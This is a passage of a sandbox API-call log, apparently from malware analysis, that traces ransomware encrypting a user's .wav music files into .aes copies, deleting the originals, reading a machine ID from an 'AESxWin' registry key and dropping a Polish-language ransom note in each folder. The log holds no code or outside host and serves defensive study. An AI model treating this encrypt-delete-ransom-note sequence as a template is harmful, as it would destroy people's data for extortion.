woaqipijv7ecvn\\bpwdqbd367v5jcwf.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0092.928] GetFileType (hFile=0x8e4) returned 0x1 [0092.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0092.928] GetFileType (hFile=0x8e4) returned 0x1 [0092.928] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0092.989] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0092.989] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0092.997] LocalFree (hMem=0x6ff3178) returned 0x0 [0092.997] GetAdaptersAddresses () returned 0x6f [0093.001] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0093.001] GetAdaptersAddresses () returned 0x0 [0093.006] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0093.013] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0093.013] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0093.019] LocalFree (hMem=0x1c8ab8) returned 0x0 [0093.019] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0093.061] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0093.061] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0093.068] LocalFree (hMem=0x1c8ab8) returned 0x0 [0093.068] LocalFree (hMem=0x7042020) returned 0x0 [0093.068] GetBestInterfaceEx (in: pDestAddr=0x283ebfc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0093.136] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\BPwDqBd367v5jCWf.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\bpwdqbd367v5jcwf.wav")) returned 1 [0093.137] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x46 [0093.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0093.137] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0093.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0093.137] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x468) returned 0x0 [0093.137] RegQueryValueExW (in: hKey=0x468, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0093.137] RegQueryValueExW (in: hKey=0x468, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x27f4d38, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0093.138] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x46 [0093.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0093.138] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8e4 [0093.138] GetFileType (hFile=0x8e4) returned 0x1 [0093.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0093.138] GetFileType (hFile=0x8e4) returned 0x1 [0093.138] WriteFile (in: hFile=0x8e4, lpBuffer=0x27fdd38*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x27fdd38*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0093.138] CloseHandle (hObject=0x8e4) returned 1 [0093.139] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0093.169] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\LbtiEV6ysxhhXCJQ.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\LbtiEV6ysxhhXCJQ.wav", lpFilePart=0x0) returned 0x40 [0093.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0093.170] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\LbtiEV6ysxhhXCJQ.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\lbtiev6ysxhhxcjq.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d66050, ftCreationTime.dwHighDateTime=0x1d303fd, ftLastAccessTime.dwLowDateTime=0x7564d050, ftLastAccessTime.dwHighDateTime=0x1d2fb12, ftLastWriteTime.dwLowDateTime=0x7564d050, ftLastWriteTime.dwHighDateTime=0x1d2fb12, nFileSizeHigh=0x0, nFileSizeLow=0x13959)) returned 1 [0093.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0093.170] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\LbtiEV6ysxhhXCJQ.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\LbtiEV6ysxhhXCJQ.wav", lpFilePart=0x0) returned 0x40 [0093.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0093.170] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\LbtiEV6ysxhhXCJQ.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\lbtiev6ysxhhxcjq.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0093.170] GetFileType (hFile=0x8e4) returned 0x1 [0093.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0093.170] GetFileType (hFile=0x8e4) returned 0x1 [0093.170] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\LbtiEV6ysxhhXCJQ.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\LbtiEV6ysxhhXCJQ.wav.aes", lpFilePart=0x0) returned 0x44 [0093.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0093.170] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\LbtiEV6ysxhhXCJQ.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\lbtiev6ysxhhxcjq.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0093.170] GetFileType (hFile=0x61c) returned 0x1 [0093.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0093.170] GetFileType (hFile=0x61c) returned 0x1 [0093.171] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0093.181] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0093.181] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0093.188] LocalFree (hMem=0x6ff3178) returned 0x0 [0093.188] GetAdaptersAddresses () returned 0x6f [0093.192] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0093.192] GetAdaptersAddresses () returned 0x0 [0093.197] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0093.204] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0093.204] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0093.255] LocalFree (hMem=0x1c8ab8) returned 0x0 [0093.255] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0093.261] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0093.261] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0093.268] LocalFree (hMem=0x1c8ab8) returned 0x0 [0093.268] LocalFree (hMem=0x7042020) returned 0x0 [0093.268] GetBestInterfaceEx (in: pDestAddr=0x280abec*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0093.335] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\LbtiEV6ysxhhXCJQ.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\lbtiev6ysxhhxcjq.wav")) returned 1 [0093.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x46 [0093.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0093.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1b70920, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf1b70920, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf1b70920, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0093.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0093.336] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0093.362] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\gIud.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\gIud.wav", lpFilePart=0x0) returned 0x20 [0093.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0093.363] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\gIud.wav" (normalized: "c:\\users\\kft6utqw\\music\\giud.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943d4720, ftCreationTime.dwHighDateTime=0x1d2f548, ftLastAccessTime.dwLowDateTime=0xff0b36c0, ftLastAccessTime.dwHighDateTime=0x1d3019b, ftLastWriteTime.dwLowDateTime=0xff0b36c0, ftLastWriteTime.dwHighDateTime=0x1d3019b, nFileSizeHigh=0x0, nFileSizeLow=0x10f5e)) returned 1 [0093.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0093.363] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\gIud.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\gIud.wav", lpFilePart=0x0) returned 0x20 [0093.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0093.363] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\gIud.wav" (normalized: "c:\\users\\kft6utqw\\music\\giud.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0093.363] GetFileType (hFile=0x8e4) returned 0x1 [0093.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0093.363] GetFileType (hFile=0x8e4) returned 0x1 [0093.363] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\gIud.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\gIud.wav.aes", lpFilePart=0x0) returned 0x24 [0093.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0093.363] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\gIud.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\giud.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0093.363] GetFileType (hFile=0x61c) returned 0x1 [0093.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0093.363] GetFileType (hFile=0x61c) returned 0x1 [0093.364] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0093.394] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0093.394] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0093.401] LocalFree (hMem=0x6ff3178) returned 0x0 [0093.401] GetAdaptersAddresses () returned 0x6f [0093.405] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0093.406] GetAdaptersAddresses () returned 0x0 [0093.411] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0093.417] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0093.417] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0093.428] LocalFree (hMem=0x1c8ab8) returned 0x0 [0093.428] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0093.434] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0093.434] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0093.440] LocalFree (hMem=0x1c8ab8) returned 0x0 [0093.441] LocalFree (hMem=0x7042020) returned 0x0 [0093.441] GetBestInterfaceEx (in: pDestAddr=0x27f6cdc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0093.508] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\gIud.wav" (normalized: "c:\\users\\kft6utqw\\music\\giud.wav")) returned 1 [0093.509] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x32 [0093.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0093.509] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0093.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0093.510] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x8e4) returned 0x0 [0093.510] RegQueryValueExW (in: hKey=0x8e4, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0093.510] RegQueryValueExW (in: hKey=0x8e4, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x27d3638, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0093.510] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x32 [0093.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0093.510] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0093.510] GetFileType (hFile=0x61c) returned 0x1 [0093.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0093.510] GetFileType (hFile=0x61c) returned 0x1 [0093.510] WriteFile (in: hFile=0x61c, lpBuffer=0x27dc5e8*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x27dc5e8*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0093.511] CloseHandle (hObject=0x61c) returned 1 [0093.511] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0093.536] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\QNSMQvCMaaiUq5u.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\QNSMQvCMaaiUq5u.wav", lpFilePart=0x0) returned 0x2b [0093.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0093.536] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\QNSMQvCMaaiUq5u.wav" (normalized: "c:\\users\\kft6utqw\\music\\qnsmqvcmaaiuq5u.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd69300, ftCreationTime.dwHighDateTime=0x1d30251, ftLastAccessTime.dwLowDateTime=0x47bf3790, ftLastAccessTime.dwHighDateTime=0x1d3034f, ftLastWriteTime.dwLowDateTime=0x47bf3790, ftLastWriteTime.dwHighDateTime=0x1d3034f, nFileSizeHigh=0x0, nFileSizeLow=0xd830)) returned 1 [0093.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0093.536] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\QNSMQvCMaaiUq5u.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\QNSMQvCMaaiUq5u.wav", lpFilePart=0x0) returned 0x2b [0093.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0093.536] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\QNSMQvCMaaiUq5u.wav" (normalized: "c:\\users\\kft6utqw\\music\\qnsmqvcmaaiuq5u.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0093.536] GetFileType (hFile=0x540) returned 0x1 [0093.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0093.536] GetFileType (hFile=0x540) returned 0x1 [0093.536] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\QNSMQvCMaaiUq5u.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\QNSMQvCMaaiUq5u.wav.aes", lpFilePart=0x0) returned 0x2f [0093.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0093.536] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\QNSMQvCMaaiUq5u.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\qnsmqvcmaaiuq5u.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x544 [0093.537] GetFileType (hFile=0x544) returned 0x1 [0093.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0093.537] GetFileType (hFile=0x544) returned 0x1 [0093.537] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0093.596] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0093.596] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0093.603] LocalFree (hMem=0x6ff3178) returned 0x0 [0093.603] GetAdaptersAddresses () returned 0x6f [0093.607] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0093.607] GetAdaptersAddresses () returned 0x0 [0093.613] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0093.619] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0093.619] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0093.625] LocalFree (hMem=0x1c8ab8) returned 0x0 [0093.669] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0093.685] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0093.685] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0093.692] LocalFree (hMem=0x1c8ab8) returned 0x0 [0093.692] LocalFree (hMem=0x7042020) returned 0x0 [0093.692] GetBestInterfaceEx (in: pDestAddr=0x2823464*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0093.761] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\QNSMQvCMaaiUq5u.wav" (normalized: "c:\\users\\kft6utqw\\music\\qnsmqvcmaaiuq5u.wav")) returned 1 [0093.762] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x32 [0093.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0093.762] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\#$# jak-odzyskac-pliki.txt"), 